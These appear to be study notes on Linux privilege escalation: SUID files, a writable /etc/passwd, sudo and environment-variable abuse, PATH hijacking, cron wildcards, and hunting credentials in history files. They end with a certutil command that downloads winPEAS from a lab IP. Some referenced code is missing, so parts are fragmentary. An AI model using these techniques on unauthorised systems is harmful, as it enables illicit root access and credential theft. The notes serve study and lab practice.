cybersecurity
linux
privesc
Privilege escalation involves going from lower to higher permissions.
It is the exploitation of a vulnerability, design flaw or configuration oversight in an operating system or app to gain unauthorized access to resources that are usually restricted.
Good goto for linux privesc
You can git clone it from here
Give it the appropriate permissions and run it as a script on your target machine.
The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set.
This means that the file or files can be run with the permissions of the file(s) owner/group.
Search for SUID files with find / -perm -u=s -type f 2>/dev/null
When you have a writable /etc/passwd file you can add your own user to it and gain root access.
Define a compliant password hash and create an /etc/password entry:
Use sudo -l to list what commands you are able to use as a superuser on that account.
To learn how to exploit misconfigured binaries see GTFO Bins
To open a shell from vi use :!sh
Is an environment variable in *nix systems that specifies directories that hold executable files.
When users run commands in terminal, it searches for executable files with the aid of the PATH variable.
You can edit the PATH variable by export PATH=[dir]:$PATH e.g export PATH=/tmp:$PATH
For further reading you can check out:
You could use this exploit to get a root shell via mysql.
Read the root users hash, and crack it.
The hash is between the first and second colon (:)
Crack it with john
Sudo can be configured to inherit certain vars from the user's environment.
look for the env_keep options in sudo -l
e.g LD_PRELOAD would load a shared object before any others when a program is run.
LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
When a cronjob is being run with a wildcard e.g a job that calls the tar function and is run with a wildcard, the wildcard can be used to pass in arguments to the function
When files have dependencies that do not exist
We can create said dependencies and utilize them to escalate our privileges
Here is an example of the shared object code referenced above:
The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.
In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.
cat ~/.*history | less
Lets you view the history files
Someone may have typed creds into the terminal instead of the password prompt :)
config files often contain passwords in plain text / reversible formats
Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.
to upload files to windows use:
certutil -urlcache -f [ip/file] [outputfile]
e.g certutil -urlcache -f http://10.9.2.157:80/winPEASx64.exe winpeas.exe